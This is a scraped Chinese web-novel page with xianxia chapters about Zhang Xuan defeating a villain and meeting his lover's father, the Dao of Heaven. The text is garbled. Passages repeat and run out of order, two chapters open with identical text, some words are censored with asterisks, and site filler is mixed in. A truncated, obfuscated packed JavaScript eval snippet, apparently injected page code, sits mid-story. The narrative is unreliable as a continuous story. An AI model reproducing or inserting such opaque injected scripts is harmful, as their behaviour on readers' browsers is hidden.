一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十三章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十四章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 